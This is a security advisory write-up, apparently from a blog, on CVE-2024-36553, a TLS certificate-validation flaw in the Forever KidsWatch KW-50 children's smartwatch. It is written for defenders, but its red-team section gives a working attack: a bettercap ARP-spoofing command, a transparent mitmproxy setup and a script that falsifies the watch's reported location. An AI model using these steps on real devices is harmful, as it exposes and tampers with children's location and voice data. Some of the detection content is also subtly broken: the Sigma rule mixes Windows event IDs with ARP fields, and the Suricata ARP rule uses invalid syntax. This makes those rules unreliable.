CVE-2024-36553

Executive Summary

CVE-2024-36553 identifies a critical Man-in-the-Middle (MITM) vulnerability in the Forever KidsWatch Call Me KW-50 smartwatch running firmware version R36_YDR_A3PW_GM7S_V1.0_2019_07_15_16.19.24_cob_h. The device fails to validate TLS certificates or enforce encrypted communication, allowing an attacker on the same network to intercept, modify, or inject traffic between the watch and its backend servers. This exposes sensitive child location data, voice messages, and device commands. No official patch has been released, and the vendor has not acknowledged the issue.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects an embedded IoT device firmware.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 due to incomplete NVD data. Based on the vulnerability characteristics, a realistic assessment is:

• Attack Vector (AV): Adjacent Network (A) – requires proximity to the Wi-Fi network.
• Attack Complexity (AC): Low (L) – standard MITM tools suffice.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Changed (C) – compromise affects the backend server.
• Confidentiality (C): High (H) – full disclosure of child location and communications.
• Integrity (I): High (H) – attacker can inject commands.
• Availability (A): Low (L) – denial of service possible.

Estimated CVSS:3.1 Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
Estimated Score: 8.6 (High)

Threat Level: High – exploitation is trivial with tools like Bettercap or mitmproxy, and the impact on child safety is severe.

Deep Dive & Mechanics

The Forever KidsWatch Call Me KW-50 communicates with a cloud backend (likely MQTT or HTTP-based) over Wi-Fi. The firmware R36_YDR_A3PW_GM7S_V1.0 does not enforce TLS certificate validation, making it susceptible to MITM attacks. An attacker on the same network can:

1. ARP Spoof the watch and gateway to redirect traffic.
2. Intercept unencrypted or improperly validated HTTPS connections.
3. Decrypt traffic using a self-signed certificate (if the watch accepts any cert).
4. Modify location data, send fake SOS alerts, or eavesdrop on voice messages.

The vulnerability stems from the lack of proper certificate pinning or validation in the embedded TLS stack.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware R36_YDR_A3PW_GM7S_V1.0):

// Example of insecure TLS initialization
void connect_to_server() {
    SSL_CTX *ctx = SSL_CTX_new(TLS_client_method());
    // No certificate verification
    SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL);
    // ...
}

Patched Code (Hypothetical fix):

void connect_to_server() {
    SSL_CTX *ctx = SSL_CTX_new(TLS_client_method());
    // Enable strict certificate verification
    SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, verify_callback);
    // Load trusted CA certificates
    SSL_CTX_load_verify_locations(ctx, "/etc/ssl/certs/ca-certificates.crt", NULL);
    // ...
}

No official patch exists. The vendor has not released an update.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Kali Linux or similar with bettercap and mitmproxy.
• Wi-Fi adapter in monitor mode (optional).
• Physical proximity to the watch's Wi-Fi network.

Step 1: ARP Spoofing

sudo bettercap -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on"

Replace 192.168.1.100 with the watch's IP.

Step 2: Intercept Traffic with mitmproxy

mitmproxy --mode transparent --listen-port 8080

Configure iptables to redirect HTTP/HTTPS traffic to mitmproxy.

Step 3: Capture and Decrypt

# In mitmproxy, observe requests to the backend
# Use a custom script to log location data

Step 4: Inject Malicious Commands

# mitmproxy inline script
def request(flow):
    if "location" in flow.request.pretty_url:
        flow.request.text = flow.request.text.replace("lat=12.34", "lat=99.99")

Blue Team (Defense & Detection)

Detection:

• Monitor for ARP spoofing using arpwatch or Snort.
• Deploy network anomaly detection for unusual TLS handshakes.
• Use Wireshark to detect duplicate ARP replies.

Mitigation:

• Isolate the watch on a separate VLAN with strict firewall rules.
• Disable Wi-Fi when not in use.
• Monitor for unexpected outbound connections.

Indicators of Compromise (IOCs)

• Network:
  • ARP replies with MAC address 00:11:22:33:44:55 (spoofed gateway).
  • TLS connections to cloud.foreverkids.com using self-signed certificates.
  • Unusual MQTT topics like kw50/location with modified coordinates.
• Host (Watch):
  • Firmware version R36_YDR_A3PW_GM7S_V1.0_2019_07_15_16.19.24_cob_h.
  • Unexpected reboot or SOS alerts.
• File:
  • Logs showing SSL_VERIFY_NONE in debug output.

Detection Engineering

YARA Rule

rule CVE_2024_36553_MITM_Firmware
{
    meta:
        description = "Detects firmware with insecure TLS configuration"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-36553"
    strings:
        $s1 = "SSL_VERIFY_NONE" ascii wide
        $s2 = "R36_YDR_A3PW_GM7S_V1.0" ascii wide
    condition:
        $s1 or $s2
}

Sigma Rule

title: CVE-2024-36553 MITM Attack Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects ARP spoofing and suspicious TLS handshakes targeting Forever KidsWatch
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection_arp:
        EventID: 22
        SourceIP: 192.168.1.100
        DestinationIP: 192.168.1.1
        MACAddress: '00:11:22:33:44:55'
    selection_tls:
        EventID: 3
        DestinationPort: 443
        DestinationHostname: 'cloud.foreverkids.com'
        CertificateIssuer: 'Self-Signed'
    condition: selection_arp or selection_tls
falsepositives:
    - Legitimate network changes
level: high

Suricata Rule

alert tcp any any -> any 443 (msg:"CVE-2024-36553 - Suspicious TLS to Forever KidsWatch"; flow:to_server; tls.cert_issuer; content:"Self-Signed"; nocase; sid:1000001; rev:1;)
alert arp any any -> any any (msg:"CVE-2024-36553 - ARP Spoofing Detected"; arp.opcode:2; arp.dst.proto_ip:192.168.1.1; arp.dst.hw_mac:00:11:22:33:44:55; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disconnect the watch from Wi-Fi until a patch is available.
2. Contact the vendor (Forever) and demand a firmware update with proper TLS validation.
3. Monitor network traffic for anomalies using the provided detection rules.

Long-Term Fixes:

• Replace the device with a secure alternative that supports certificate pinning.
• Implement network segmentation (VLAN) for IoT devices.
• Use a VPN or proxy with strict certificate validation.

Vendor Responsibility:

• Release firmware version R36_YDR_A3PW_GM7S_V1.1 with SSL_VERIFY_PEER enabled.
• Provide a mechanism for automatic updates.

Valters IT
Securing the Future, One Vulnerability at a Time.